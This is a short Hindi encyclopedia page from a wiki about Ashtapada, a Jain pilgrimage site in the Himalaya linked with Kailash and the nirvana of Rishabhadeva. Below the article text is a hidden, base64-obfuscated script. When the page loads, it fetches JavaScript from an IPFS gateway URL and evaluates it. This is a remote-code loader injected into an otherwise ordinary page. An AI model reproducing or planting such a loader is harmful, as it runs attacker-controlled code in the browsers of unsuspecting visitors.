अष्टापद

भारत डिस्कवरी प्रस्तुति
फ़ौज़िया ख़ान (चर्चा | योगदान) द्वारा परिवर्तित 07:41, 10 अगस्त 2011 का अवतरण ('*अष्टापद जैन-साहित्य के सबसे प्राचीन आगमग्रन्थ एकाद...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
  • अष्टापद जैन-साहित्य के सबसे प्राचीन आगमग्रन्थ एकादशअंगादि में उल्लिखित तीर्थ जिसको हिमालय में स्थित बताया गया है।
  • संभवत: कैलास को ही जैन-साहित्य में अष्टापद कहा गया है।
  • इस स्थान पर प्रथम जैन तीर्थंकर ऋषभदेव का निर्वाण हुआ था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख